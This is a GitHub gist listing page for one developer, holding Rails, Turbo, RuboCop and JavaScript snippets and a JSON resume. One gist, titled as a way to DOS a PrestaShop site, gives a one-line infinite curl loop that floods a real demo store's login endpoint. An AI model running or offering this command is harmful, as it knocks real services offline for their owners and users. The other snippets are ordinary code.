Skip to content

Instantly share code, notes, and snippets.

View Intrepidd's full-sized avatar
🍽️
Hello

Adrien S Intrepidd

🍽️
Hello
View GitHub Profile
@Intrepidd
Intrepidd / application.js
Created September 26, 2023 14:25
Turbo stream action to update the navigator history
View application.js
window.Turbo.StreamActions.advance_history = function () {
const url = new URL(this.getAttribute('url'))
window.Turbo.navigator.view.lastRenderedLocation = url
window.Turbo.navigator.history.push(url)
}
View resume.json
{
"$schema": "https://raw.githubusercontent.com/jsonresume/resume-schema/v1.0.0/schema.json",
"basics": {
"name": "Adrien Siami",
"label": "Full-Stack Software Engineer | Tech advisor for good",
"email": "adrien@siami.fr",
"phone": "",
"url": "",
"summary": "Passionate about IT since my early years, I chose to specialize in web development, especially with Ruby and Javascript.\n\nI enjoy solving complex problems with code and building features that make sense to me and benefit society. \nI'm particularly sensible and interested in working on positive fields such as health, ecology, privacy, etc.\n\nI believe in open source software and have written and contributed to several open source projects from small libraries to well known web frameworks.\n\nI define myself as proactive, pragmatic, customer centric and engaged.",
"location": {
View turbo_frame_history_controller.ts
// DISCLAIMER : You can now probably use `data-turbo-action="advance"` on your frame to perform what this controller is aiming to do
// https://turbo.hotwired.dev/handbook/frames#promoting-a-frame-navigation-to-a-page-visit
// Note that you probably want to disable turbo cache as well for those page to make popstate work properly
import { navigator } from '@hotwired/turbo'
import { Controller } from '@hotwired/stimulus'
import { useMutation } from 'stimulus-use'
export default class extends Controller {
connect (): void {
@Intrepidd
Intrepidd / cop.rb
Last active December 14, 2018 16:37
View cop.rb
class RuboCop::Cop::Security::LinkToBlank < RuboCop::Cop::Cop
MSG = 'Specify a `:rel` option containing noopener.'.freeze
def_node_matcher :link_to?, <<-PATTERN
(send nil? :link_to ...)
PATTERN
def_node_matcher :blank_target?, <<-PATTERN
(pair {(sym :target) (str "target")} (str "_blank"))
PATTERN
@Intrepidd
Intrepidd / gist:4054741
Created November 11, 2012 12:17
How to DOS a prestashop website ?
View gist:4054741
while true; do curl -F 'back=my-account&email=lol@lol.com&passwd=lalala42&SubmitLogin=toto' 'http://demo-store.prestashop.com/en/index.php?controller=authentication' -H "Content-Type:application/x-www-form-urlencoded" &;done
@Intrepidd
Intrepidd / test.rb
Created August 23, 2012 11:27 — forked from ys/My_first_thought.rb
How would you align these kind of things in Ruby?
View test.rb
local_var.method_with_hash_and_block(
mandatory_param,
option_1: a,
option_2: blabla,
option_3: blablablablablabla,
option_4: bblablablablablablablabla,
option_5: bblablablabla) do |v|
d = v.bla
e = v.bla
end
@Intrepidd
Intrepidd / example.rb
Created August 8, 2012 13:15
Case sensivity search for active record
View example.rb
Model.where('my_string LIKE BINARY ?', "This is a Test String")
@Intrepidd
Intrepidd / gist:2409377
Created April 17, 2012 22:04
Demo of my gem rails-canhaz
View gist:2409377
user = User.find(42)
article = Article.find(1337)
user.can?(:read, article) # Can the user read this article? false for now
user.can(:read, article) # Ok, so the user can read this article
user.can(:edit, article) # He can edit it as well
user.can?(:read, article) # Will be true
View gist:1718685
#include <iostream>
class Dad
{
public:
Dad()
{
this->hello();
}
@Intrepidd
Intrepidd / gist:1307618
Created October 23, 2011 17:34
Facebook delete all apps, quite uggly.
View gist:1307618
// Assuming you have Jquerified the page
// http://www.learningjquery.com/2009/04/better-stronger-safer-jquerify-bookmarklet
function deleteApp(tab, index) {
tab[index].click();
setTimeout(function() {
$jq("input[name=remove]").click();
setTimeout(function() {
$jq("input[name=ok]").click();
if (tab[index + 1]) {